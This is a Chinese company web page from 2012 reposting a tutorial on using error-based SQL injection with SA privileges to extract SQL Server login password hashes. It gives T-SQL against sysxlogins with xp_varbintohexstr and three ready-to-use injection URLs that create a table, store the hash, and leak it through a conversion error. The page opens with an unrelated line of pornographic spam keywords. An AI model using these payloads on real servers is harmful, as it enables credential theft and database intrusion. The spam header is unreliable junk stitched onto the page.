亚洲精品久久久久久一区二区,亚洲乱码av中文一区二区,欧美性猛交╳xxx乱大交,成人h动漫精品一区二区,亚洲熟女综合色一区二区三区

知識(shí)學(xué)堂
  • ·聯(lián)系電話:+86.023-75585550
  • ·聯(lián)系傳真:+86.023-75585550
  • ·24小時(shí)手機(jī):13896886023
  • ·QQ 咨 詢:361652718 513960520
當(dāng)前位置 > 首頁(yè) > 知識(shí)學(xué)堂 > 常見技術(shù)問題
SA注入點(diǎn)通過報(bào)錯(cuò)提取SQL賬戶HASH
更新時(shí)間:2012-04-11 | 發(fā)布人:本站 | 點(diǎn)擊率:507

sysxlogins表中的password字段是varbinary,是沒有辦法通過報(bào)錯(cuò)獲得的。最近偶爾看到一個(gè)叫xp_varbintohexstr的擴(kuò)展儲(chǔ)存,便有了思路:

核心演示代碼(查詢分析器)

declare @p varbinary(64),@u varchar(16),@s varchar(128);
select top 1 @u = name,@p = password from (select top 1 * from sysxlogins where password is NOT NULL order by name ASC)T order by name DESC;
exec xp_varbintohexstr @p,@s OUT;
select 'User:' + @u + '/Hash:' + @s;


理論的推導(dǎo)往往是可憎的,一下為本機(jī)asp+SA顯錯(cuò)的測(cè)試結(jié)果:

Step.1

http://localhost/inject.asp?id=1;create+table+SQLhash(hash+varchar(2000))--

Step.2

http://localhost/inject.asp?id=1;declare+@p+varbinary(64),@u+varchar(16),@s+varchar(128);select+top+1+@u+=+name,@p+=+password+from+(select+top+1+*+from+master.dbo.sysxlogins+where+password+is+NOT+NULL+order+by+name+ASC)T+order+by+name+DESC;exec+master..xp_varbintohexstr+@p,@s+OUT;set+@s+=+'User:'+%2b+@u+%2b+'/Hash:'+%2b+@s;insert+into+SQLhash(hash)+values(@s)--

Step.3

http://localhost/inject.asp?id=1+and+(select+top+1+hash+from+SQLhash)=0--